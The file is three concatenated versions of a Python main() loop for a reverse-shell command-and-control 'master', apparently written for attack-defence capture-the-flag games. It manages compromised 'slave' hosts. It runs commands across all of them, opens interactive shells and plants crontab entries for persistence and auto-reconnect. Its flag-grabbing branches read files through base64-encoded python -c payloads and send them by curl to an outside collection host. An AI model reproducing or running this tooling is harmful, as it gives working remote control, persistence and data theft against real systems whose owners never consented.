def main(): if len(sys.argv) != 3: print("Usage : ") print("\tpython master.py [HOST] [PORT]") exit(1) host = sys.argv[1] port = int(sys.argv[2]) EXEC_LOCAL = True signal.signal(signal.SIGINT, signal_handler) signal.signal(signal.SIGTERM, signal_handler) master_thread = threading.Thread(target=master, args=( host, port, )) slaver_thread = threading.Thread(target=slaver, args=( host, port, True, )) master_thread.daemon = True slaver_thread.daemon = True Log.info("Starting server...") master_thread.start() Log.info("Connecting to localhost server...") slaver_thread.start() time.sleep(0.75) show_commands() position = slaves[list(slaves.keys())[0]].node_hash # master himself while True: if len(list(slaves.keys())) == 0: Log.error("No slaves left , exiting...") break if not position in list(slaves.keys()): Log.error("Node is offline... Changing node...") position = list(slaves.keys())[0] current_slave = slaves[position] context_hint = "[%s:%d]" % (current_slave.hostname, current_slave.port) Log.context(context_hint) command = input(" >> ") or "h" if command.startswith("#"): continue if command == "h" or command == "help" or command == "?" or command == "\n": show_commands() elif command == "l": Log.info("Listing online slaves...") for key in list(slaves.keys()): print(("[%s]") % ("-" * 0x2A)) slaves[key].show_info() print(("[%s]") % ("-" * 0x2A)) elif command == "p": current_slave.show_info() elif command == "c": cmd = input("Input command (uname -r) : ") or ("uname -r") Log.info("Command : %s" % (cmd)) for i in list(slaves.keys()): slave = slaves[i] result = slave.send_command_print(cmd) elif command == "cl": cmd = input("Input command (uname -r) : ") or ("uname -r") Log.info("Command : %s" % (cmd)) for i in list(slaves.keys()): slave = slaves[i] result = slave.send_command_log(cmd) elif command == "cronadd": content = input("Input new crontab task (* * * * * date): ") or ( "* * * * * date") current_slave.add_crontab(content) elif command == "crondel": pattern = input("Input pattern (bash) : ") or ("bash") current_slave.del_crontab(pattern) elif command == "g": input_node_hash = input( "Please input target node hash : ") or position Log.info("Input node hash : %s" % (repr(input_node_hash))) if input_node_hash == position: Log.warning("Position will not change!") continue found = False for key in list(slaves.keys()): if key.startswith(input_node_hash): # old_slave = slaves[position] new_slave = slaves[key] # Log.info("Changing position from [%s:%d] to [%s:%d]" % (old_slave.hostname, old_slave.port, new_slave.hostname, new_slave.port)) Log.info("Changing position to [%s:%d]" % (new_slave.hostname, new_slave.port)) position = key found = True break if not found: Log.error("Please check your input node hash!") Log.error("Position is not changed!") elif command == "setl": EXEC_LOCAL = True elif command == "setr": EXEC_LOCAL = False elif command == "gaf": while True: ''' flag_path = raw_input( "Input flag path (/flag.txt) : ") or ("/flag.txt") box_host = raw_input("Input flag box host (192.168.187.128) : ") or ( "192.168.187.128") box_port = int(raw_input("Input flag box host (80) : ") or ("80")) ''' for i in list(slaves.keys()): slave = slaves[i] r_info = open("host").read() r_host = r_info.split(":")[0] r_port = int(r_info.split(":")[1]) slave.auto_connect(r_host, r_port) payload = "python -c 'exec(\"%s\".decode(\"base64\"))'" % ''' flag = open("__FLAG_PATH__").read() key = 233 result = "" for i in flag: result += chr(ord(i) ^ key) print result '''.replace("__FLAG_PATH__", flag_path).encode("base64").replace("\n", "") # cmd = "FLAG=`%s`" % (payload) # Log.info(cmd) # exit(0) Log.info("Command : %s" % (payload)) result = slave.system_token(payload) flag = decode_flag( result.replace("\n", "").replace("\r", "")).replace( "\n", "").replace("\r", "") Log.info("FLAG: %s" % flag) submit_flag(flag) Log.info("Submitted") ''' cmd = "FLAG=`cat %s | base64`" % (flag_path) Log.info("Command : %s" % (cmd)) result = slave.send_command(cmd) cmd = "curl \"http://%s:%d/?flag=${FLAG}\"" % ( box_host, box_port) Log.info("Command : %s" % (cmd)) result = slave.send_command(cmd) if result: Log.info("Flag is sent to you!") else: # slave.remove_node() Log.error("Executing command failed! Connection aborted! Node removed!") position = slaves.keys()[0] Log.info("Position changed to : %s" % (position)) ''' sleep_time = int(open("sleep").read()) if sleep_time == 0: break time.sleep(sleep_time) elif command == "gf": # flag_path = raw_input( # "Input flag path (/flag) : ") or ("/flag") # box_host = raw_input("Input flag box host (192.168.187.128) : ") or ( # "192.168.187.128") # box_port = int(raw_input("Input flag box host (80) : ") or ("80")) payload = "python -c 'exec(\"%s\".decode(\"base64\"))'" % ''' flag = open("__FLAG_PATH__").read() key = 233 result = "" for i in flag: result += chr(ord(i) ^ key) print result '''.replace("__FLAG_PATH__", flag_path).encode("base64").replace( "\n", "") # cmd = "FLAG=`%s`" % (payload) # Log.info(cmd) # exit(0) Log.info("Command : %s" % (payload)) result = current_slave.system_token(payload) flag = decode_flag(result) Log.info("FLAG: %s" % flag) submit_flag(flag) Log.info("Submitted") # cmd = "curl \"http://%s:%d/?flag=${FLAG}\"" % ( # box_host, box_port) # Log.info("Command : %s" % (cmd)) # result = current_slave.send_command(cmd) # if result: # Log.info("Flag is sent to you!") # else: # # slave.remove_node() ## Log.error("Executing command failed! Connection aborted! Node removed!") # position = slaves.keys()[0] # Log.info("Position changed to : %s" % (position)) elif command == "i": current_slave.interactive_shell() elif command == "d": current_slave.remove_node() elif command == "ac": target_host = input("Target host (192.168.1.1) : ") or ( "192.168.1.1") target_port = int(input("Target port (8080) : ") or ("8080")) Log.info("Changing crontab...") current_slave.auto_connect(target_host, target_port) elif command == "aac": target_host = input("Target host (192.168.1.1) : ") or ( "192.168.1.1") target_port = int(input("Target port (8080) : ") or ("8080")) for i in list(slaves.keys()): slave = slaves[i] slave.auto_connect(target_host, target_port) elif command == "nm": new_master_host = input("Input new master's host (0.0.0.0): ") or ( "0.0.0.0") new_master_port = int( input("Input new master's port (8090): ") or ("8090")) new_master_thread = threading.Thread(target=master, args=( new_master_host, new_master_port, )) new_master_thread.daemon = True new_master_thread.start() # TODO : OO # TODO : Master Management elif command == "q" or command == "quit" or command == "exit": EXIT_FLAG = True # TODO : release all resources before closing Log.info("Releasing resources...") for key in list(slaves.keys()): slave = slaves[key] Log.error("Closing conntion of %s:%d" % (slave.hostname, slave.port)) slave.socket_fd.shutdown(socket.SHUT_RDWR) slave.socket_fd.close() Log.error("Exiting...") exit(0) else: Log.error("Unsupported command!") if EXEC_LOCAL: os.system(command) else: current_slave.send_command_print(command)
def main(): if len(sys.argv) != 3: print "Usage : " print "\tpython master.py [HOST] [PORT]" exit(1) host = sys.argv[1] port = int(sys.argv[2]) EXEC_LOCAL = True signal.signal(signal.SIGINT, signal_handler) signal.signal(signal.SIGTERM, signal_handler) Log.info("Starting server...") master_thread = threading.Thread(target=master, args=( host, port, )) Log.info("Connecting to localhost server...") slaver_thread = threading.Thread(target=slaver, args=( host, port, True, )) master_thread.daemon = True slaver_thread.daemon = True master_thread.start() slaver_thread.start() time.sleep(1) show_commands() position = slaves[slaves.keys()[0]].node_hash # master himself while True: if len(slaves.keys()) == 0: Log.error("No slaves left , exiting...") break if not position in slaves.keys(): Log.error("Node is offline... Changing node...") position = slaves.keys()[0] current_slave = slaves[position] context_hint = "[%s:%d] >> " % (current_slave.hostname, current_slave.port) Log.context(context_hint) command = raw_input() or "h" if command.startswith("#"): continue if command == "h" or command == "help" or command == "?" or command == "\n": show_commands() elif command == "l": Log.info("Listing online slaves...") for key in slaves.keys(): print "[%s]" % ("-" * 0x2A) slaves[key].show_info() print "[%s]" % ("-" * 0x2A) elif command == "p": current_slave.show_info() elif command == "c": command = raw_input("Input command (uname -r) : ") or ("uname -r") Log.info("Command : %s" % (command)) for i in slaves.keys(): slave = slaves[i] result = slave.send_command_print(command) elif command == "g": input_node_hash = raw_input( "Please input target node hash : ") or position Log.info("Input node hash : %s" % (repr(input_node_hash))) if input_node_hash == position: Log.warning("Position will not change!") continue found = False for key in slaves.keys(): if key.startswith(input_node_hash): # old_slave = slaves[position] new_slave = slaves[key] # Log.info("Changing position from [%s:%d] to [%s:%d]" % (old_slave.hostname, old_slave.port, new_slave.hostname, new_slave.port)) Log.info("Changing position to [%s:%d]" % (new_slave.hostname, new_slave.port)) position = key found = True break if not found: Log.error("Please check your input node hash!") Log.error("Position is not changed!") elif command == "setl": EXEC_LOCAL = True elif command == "setr": EXEC_LOCAL = False elif command == "f*g": flag_path = raw_input("Input flag path (/flag.txt) : ") or ( "/flag.txt") box_host = raw_input("Input flag box host (192.168.187.128) : " ) or ("192.168.187.128") box_port = int(raw_input("Input flag box host (80) : ") or ("80")) for i in slaves.keys(): slave = slaves[i] command = "FLAG=`cat %s | base64`" % (flag_path) Log.info("Command : %s" % (command)) result = slave.send_command(command) command = "curl \"http://%s:%d/?flag=${FLAG}\"" % (box_host, box_port) Log.info("Command : %s" % (command)) result = slave.send_command(command) if result: Log.info("Flag is sent to you!") else: # slave.remove_node() Log.error( "Executing command failed! Connection aborted! Node removed!" ) position = slaves.keys()[0] Log.info("Position changed to : %s" % (position)) elif command == "fg": flag_path = raw_input("Input flag path (/flag.txt) : ") or ( "/flag.txt") box_host = raw_input("Input flag box host (192.168.187.128) : " ) or ("192.168.187.128") box_port = int(raw_input("Input flag box host (80) : ") or ("80")) command = "FLAG=`cat %s | base64`" % (flag_path) Log.info("Command : %s" % (command)) result = current_slave.send_command(command) command = "curl \"http://%s:%d/?flag=${FLAG}\"" % (box_host, box_port) Log.info("Command : %s" % (command)) result = current_slave.send_command(command) if result: Log.info("Flag is sent to you!") else: # slave.remove_node() Log.error( "Executing command failed! Connection aborted! Node removed!" ) position = slaves.keys()[0] Log.info("Position changed to : %s" % (position)) elif command == "i": current_slave.interactive_shell() elif command == "q" or command == "quit" or command == "exit": EXIT_FLAG = True # TODO : release all resources before closing Log.info("Releasing resources...") for key in slaves.keys(): slave = slaves[key] Log.error("Closing conntion of %s:%d" % (slave.hostname, slave.port)) slave.socket_fd.shutdown(socket.SHUT_RDWR) slave.socket_fd.close() Log.error("Exiting...") exit(0) else: Log.error("Unsupported command!") if EXEC_LOCAL: os.system(command) else: current_slave.send_command_print(command)
def main(ip, port): host = ip port = int(port) EXEC_LOCAL = True signal.signal(signal.SIGINT, signal_handler) signal.signal(signal.SIGTERM, signal_handler) master_thread = threading.Thread(target=master, args=( host, port, )) slaver_thread = threading.Thread(target=slaver, args=( host, port, True, )) master_thread.daemon = True slaver_thread.daemon = True Log.info("Starting server...") master_thread.start() Log.info("Connecting to localhost server...") slaver_thread.start() time.sleep(0.75) show_commands() position = slaves[list(slaves)[0]].node_id # master himself while True: if len(slaves.keys()) == 0: Log.error("No slaves left , exiting...") break if not position in list(slaves.keys()): Log.error("Node is offline... Changing node...") position = list(slaves.keys())[0] current_slave = slaves[position] context_hint = "\033[35m[%s:%d]\033[0m" % (current_slave.hostname, current_slave.port) Log.context(context_hint) command = input(" >> ") or "h" if command.startswith("#"): continue if command == "h" or command == "help" or command == "?" or command == "\n": show_commands() elif command == "l": Log.info("Listing online slaves...") for key in slaves.keys(): print("[%s]" % ("-" * 0x2A)) slaves[key].show_info() print("[%s]" % ("-" * 0x2A)) elif command == "p": current_slave.show_info() elif command == "c": cmd = input("Input command (uname -r) : ") or ("uname -r") Log.info("Command : %s" % (cmd)) for i in slaves.keys(): slave = slaves[i] result = slave.send_command_print(cmd) elif command == "cl": cmd = input("Input command (uname -r) : ") or ("uname -r") Log.info("Command : %s" % (cmd)) for i in slaves.keys(): slave = slaves[i] result = slave.send_command_log(cmd) elif command == "cronadd": content = input("Input new crontab task (* * * * * date): ") or ( "* * * * * date") current_slave.add_crontab(content) elif command == "crondel": pattern = input("Input pattern (bash) : ") or ("bash") current_slave.del_crontab(pattern) elif command == "g": input_node_id = input("Please input target node id : ") or position Log.info("Input node id : %s" % (repr(input_node_id))) if input_node_id == position: Log.warning("Position will not change!") continue found = False for key in slaves.keys(): if key == input_node_id: # old_slave = slaves[position] new_slave = slaves[key] # Log.info("Changing position from [%s:%d] to [%s:%d]" % (old_slave.hostname, old_slave.port, new_slave.hostname, new_slave.port)) Log.info("Changing position to [%s:%d]" % (new_slave.hostname, new_slave.port)) position = key found = True break if not found: Log.error("Please check your input node ID!") Log.error("Position is not changed!") elif command == "i": if current_slave.hostname == "127.0.0.1": Log.info("You are already in interactive shell for localhost") continue Log.info("Starting interactive shell") current_slave.interactive_shell() elif command == "d": current_slave.remove_node() elif command == "q" or command == "quit" or command == "exit": EXIT_FLAG = True # TODO : release all resources before closing Log.error("Releasing resources...") for key in list(slaves.keys()): slave = slaves[key] Log.error("Closing connection with %s:%d" % (slave.hostname, slave.port)) slave.socket_fd.shutdown(socket.SHUT_RDWR) slave.socket_fd.close() Log.info("Exiting...") exit(0) else: Log.info("Fallback mode!") if EXEC_LOCAL: os.system(command) else: current_slave.send_command_print(command)